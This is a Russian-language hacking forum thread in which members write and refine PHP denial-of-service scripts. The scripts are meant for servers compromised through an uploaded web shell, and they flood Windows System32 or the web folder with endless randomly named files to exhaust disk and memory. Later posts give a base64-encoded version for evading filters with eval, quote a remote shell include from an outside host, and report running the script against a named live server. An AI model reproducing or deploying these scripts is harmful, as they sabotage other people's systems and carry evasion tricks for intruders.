Php способ засорения системных папок

Discussion in 'PHP' started by Ponchik, 15 Oct 2006.

Thread Status:
Not open for further replies.
  1. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Хай! За ошибки не бить, я по клаве не попадаю :)
    Я конечно изобрёл велосипед, но часто бывает, заливаешь шелл на апач под виндоус, а ничего сделать особо не получается, т.к. стоит файерволл и антивирус. Так вот, от нечего делать придумал как засорить через PHP систему. Всем известно, если в system32 много мусора, комп начинает жестоко виснуть, незнаю как насчёт линукса, никогда в нём не работал, и системных папок вобще незнаю в нём, но сейчас не об этом! Так вот, написал такой вот приметивный скрипт
    Code:
    <?php for($i=0;$i<5000;$i++)
    {
    @mkdir('C:/WINDOWS/System32/'.md5(rand(1,99999999999999999).rand(1,99999999999999999)));
    }
    header("Location: ".$_SERVER[REQUEST_URI]); ?>
    Значить скрипт работает так:
    Генерирует 2 числа от 1 до 99999999999999999 склеивает их, шифрует методом MD5 и создаёт в System32 папку с этим именем (32 символа) вот всё это выполняется 5000 рах! Тоесть 5000 папок в System32 это ещё не всё ;) т.к. многие админы не настраивают особо конфиги, и если скрипт неуспевает выполниться за 30 сек, тогда апач выдаёт ошибку! Поэтому после создания 5000 папок, скрипт заканчивает свою работу и перекидывает снова на эту страницу, и всё идёт заново! Тоесть 2-3 минуты работы скрипта и комп перегреется :) Кстати чтоб удалить 5000 папок надо 10 минут! Я пробовал :) Ну... Кажись всё!
     
    1 person likes this.
  2. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    ну если тока вручную..

    set_time_limit(0);
     
  3. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    Это не настолько интересно, как ignore_user_abort();
    Тоже самое делал. Только скрипт создавал файлы каждую секунду, и в имени было время.
    PHP:
    <?php
    set_time_limit
    (0);
    ignore_user_abort(); // Аминь...
    while(true) {
            
    $fp=fopen("test".time().".txt","w");
            
    fwrite($fp,php_uname());
            
    fclose($fp);
    }
    ?>
    Чё-т тип такого. Вроде как ничего не происходит, но обновив папку с скриптом, увидете результат.
     
    #3 Ch3ck, 15 Oct 2006
    Last edited: 16 Oct 2006
    1 person likes this.
  4. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Dr.Check, скрипт супер! Я просто в шоке! Но... Он создаёт раз в секунду. потому-что ты используешь time и он неможет создать с одинаковыми именами! Вот отрывок моего+твой это бомба!

    PHP:
    <?php
    set_time_limit
    (0);
    ignore_user_abort();
    while(
    true) {
            
    $fp=fopen(md5(rand(1,99999999999999999).rand(1,99999999999999999).rand(1,99999999999999999)).".txt","w");
            
    fwrite($fp,time());
            
    fclose($fp);
    }
    ?>
     
    1 person likes this.
  5. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    Нет пончик ты не понял идею DrCheck. В хеше НАЗВАНИЯ файла должно быть time() а не в теле файла.
     
  6. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    В хеше НАЗВАНИЯ файла - непонял эту фразу... В общем в название файла записывается хэш, если писать время, то...
    1)Он будет моздаваться раз в минуту
    2)Весь этот муор легко будет удалить, т.к. он будет сортироваться по имени из цифр, а так хэш можен начинаться как с цифр так и с букв, его протсо так не отсортируешь, ну по дате можно и по именам в 32 буквы!
    А в тело пишется не хеш, как ты понял (по моему) а дата, это в имя хэш пишется :D В общем за 1 минуту эта штука мне создала материала на 50МБ! :eek: ;)
     
  7. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    раз в СЕКУНДУ
    md5(time().doubleval(microtime()))
     
    1 person likes this.
  8. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    Также можно исползьвать ф-ю file_exists и счетчик
     
  9. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    Ну да, особенно, когда файлы создаются, и создаются...
     
  10. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    угу... один говорит, что отсортировать по числам и удалить можно. и идея перца обвиняющего не лучше - 32 символа хеш то! отсортировал по длине и не парся )))
    можт проще длину динамической делать и спецсимволы добавлять? а не только мелкую латиницу и цифры, но и заглавные и подчеркивания/тире?
     
  11. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    Я вообще не понимаю, почему все закручено на md5. Случайные названия, состоящие из цифр и букв + случайное расширение из списка(txt dll ini exe log bmp ...)
     
    1 person likes this.
  12. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    Вот от этого точно никто не убежит! Набросал за 5 мин.
    PHP:
    <?php
    // Greetz всем заподлянщикам...
    // В частности Poncik'y за идею!!!!!!!
    // Вот, после этого, точно зае*ёшся пыль глотать...
    //Аминь...
    //(C) Dr.Check и все кто помог писать "Знаменитый скрипт"
    ////////////////////////////////////////////////////////////////
    set_time_limit(0);
    ignore_user_abort();
    echo(
    "<center><h1><b><font color=\"green\">ИБО НЕХУЙ!!!</font></b></h1></center>");
    /////////////////////////////////////////////////////////////////
        
    $name = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','r','s',
                     
    't','u','v','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L',
                     
    'M','N','O','P','R','S','T','U','V','X','Y','Z','1','2','3','4','5','6',
                     
    '7','8','9','0');
    //////////////////////////////////////////////////////////////////
        
    $rash= array('.txt','.dic','.doc','.xls','.exe','.ini',
                        
    '.bat','.log','.dll','.hak','.wmf','.zip','.rar',
                        
    '.tar','.gz','.jpg','.gif','.bmp');
    /////////////////////////////////////////////////////////////////
    while(true) {
        
    $perem "";
        
    $fuck="";
        for(
    $i 0$i rand(20,1); $i++) // количество сиволов в имени файла.
        
    {
         
    $by rand(0count($name) - 1);
         
    $perem .= $name[$by];
        }
        
    $rarand(0count($rash)-1);
        
    $fuck .= $rash[$ra];
             
    $fp=fopen($perem.$fuck,"w");
            
    fwrite($fp,php_uname());
            
    fclose($fp);
            }
    ?>
    Зав 3-5 сек было создано около 2-3 тыщъ файлов, занята вся оперативка. Даже динамик запищал!!!:cool:
    Для bul.666 :
    PHP:
     <?php 
    // в массив
    ('(',')','[',']','!','?',
                     
    '&','^','%','@','*',','<','>','/','|','+','-','{','}','`','~');
    ?>
     
    #12 Ch3ck, 16 Oct 2006
    Last edited: 16 Oct 2006
    5 people like this.
  13. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Добавте еще символов в массив name.
    да и расширения можно $rash ирить =)))
     
  14. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Во, добавил, то, что написал SMiX - md5(time().doubleval(microtime())) терь одинаковых имён точно небудет! Про расширения я ещё утром думал, но забыл... Щас сделаю...
    PHP:
    <?
    set_time_limit(0);
    ignore_user_abort();
    while(
    true) {
            switch (
    rand(0,8))
            {
               case 
    $r '.txt'; break;
               case 
    $r '.exe';   break;
               case 
    $r '.dat'; break;
               case 
    $r '.ini';  break;
               case 
    $r '.log'; break;
               case 
    $r '.dll'; break;
               case 
    $r '.wav';  break;
               case 
    $r '.nsc';  break;
               default: 
    $r '.zip'; break;
            }
            
    $fp=fopen(md5(time().doubleval(microtime())).$r,"w");
            
    fwrite($fp,time());
            
    fclose($fp);
    }
    ?>
    вот :D
    P.S. Ах блин! Пока писал, мну опередили :eek: Ничё знаменитого на ачате так и не сделал, Dr.Check мож добавишь тама пару имен в копирайт, все ведь старались, да и хочется знаменитым стать :D А скрипт офигеный! Ущел жертву искать!
     
    #14 Ponchik, 16 Oct 2006
    Last edited: 16 Oct 2006
  15. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    :) :cool:
    А каких пару имен!?!?? Я сам написал. Тебе спасибо за Идею, и Смиксу за расширения.
     
  16. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    О! Пасибо! Терь я гордый ходить буду :D
    [OFFTOP]
    А чё это за ошибка-то? _http://darkmoon.mediazona.ru:4001/modules/admin.php :confused:
    [/OFFTOP]
     
  17. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Я думаю, что в сорце самого файла admin.php лежит строчка (в самом верху)
    PHP:
     include("http://mucheat.h10.ru/shell.txt");
    Но горе хакеры облажались =)
    Если смотреть дальше ошибку, то поймете почему =)
     
  18. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Так это я шелл пытаюсь залить, щас чё нить придумаю!
    Вот кстати если кому надо зашифрованый этот код в base64 это чтоб фильтрацию обойти, или ещё чего... Файлы будут создаваться в system32...
    Вот

    c2V0X3RpbWVfbGltaXQoMCk7aWdub3JlX3VzZXJfYWJvcnQoKTtlY2hvKCI8Y2VudGVyPjxoMT48Yj48Zm9udCBjb2xvcj1cImdyZWVuXCI+Pz8/ID8/Pz8/ITwvZm9udD48L2I+PC9oMT48L2NlbnRlcj4iKTskbmFtZSA9IGFycmF5KCdhJywnYicsJ2MnLCdkJywnZScsJ2YnLCdnJywnaCcsJ2knLCdqJywnaycsICAnbCcsJ20nLCduJywnbycsJ3AnLCdyJywncycsJ3QnLCd1JywndicsJ3gnLCd5JywneicsJ0EnLCdCJywnQycsJ0QnLCdFJywnRicsJ0cnLCdIJywnSScsJ0onLCdLJywnTCcsJ00nLCdOJywnTycsJ1AnLCdSJywnUycsJ1QnLCdVJywnVicsJ1gnLCdZJywnWicsJzEnLCcyJywnMycsJzQnLCc1JywnNicsJzcnLCc4JywnOScsJzAnKTskcmFzaD0gYXJyYXkoJy50eHQnLCcuZGljJywnLmRvYycsJy54bHMnLCcuZXhlJywnLmluaScsJy5iYXQnLCcubG9nJywnLmRsbCcsJ2hhaycsJy53bWYnLCcuemlwJywnLnJhcicsJy50YXInLCcuZ3onLCcuanBnJywnLmdpZicsJy5ibXAnKTt3aGlsZSh0cnVlKSB7JHBlcmVtID0gIiI7JGZ1Y2s9IiI7Zm9yKCRpID0gMDsgJGkgPCByYW5kKDIwLDEpOyAkaSsrKSB7JGJ5ID0gcmFuZCgwLCBjb3VudCgkbmFtZSkgLSAxKTskcGVyZW0gLj0gJG5hbWVbJGJ5XTt9JHJhPSByYW5kKDAsIGNvdW50KCRyYXNoKS0xKTskZnVjayAuPSAkcmFzaFskcmFdOyRmcD1mb3BlbigkcGVyZW0uJGZ1Y2ssInciKTtmd3JpdGUoJGZwLHBocF91bmFtZSgpKTtmY2xvc2UoJGZwKTt9 (пробелы убрать)

    Это можно выполнить так: eval(base64_decode('ТУТ_ЭТОТ_КОД')); :)

    Всё, запустил эту штуку на _http://darkmoon.mediazona.ru:4001 :D
     
    #18 Ponchik, 16 Oct 2006
    Last edited: 16 Oct 2006
  19. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    пару лет назад нашел небольшой прикол на хостерах. Админы от нечего делать всех своих клиентов писали в одну группу пользователей. таким образом я имел доступ на read к любому юзверю хостера, поимев шелл на одном из них. Я описывал эту багу в ][ на примере небольшого "дефа" glukoza.ru (добавил пару новостей, изменил немного фотоальбом). В общем не суть. тогда я написал скрипт который "листает" все диры и файлы с указанного места и копирует полную структуру на указанный ftp. Скрипт умещался в 20 строк.

    Я к тому, что если файлы писать не только в system32, а листать все дерево каталогов на жестком диске и писать везде - будет еще страшнее =)
     
    _________________________
  20. Pochka

    Pochka Banned

    Joined:
    26 Nov 2005
    Messages:
    27
    Likes Received:
    7
    Reputations:
    -2
    Уй позорище какое. Что ни скрипт, то позорище!

    Щас меня убивать будут
     
Thread Status:
Not open for further replies.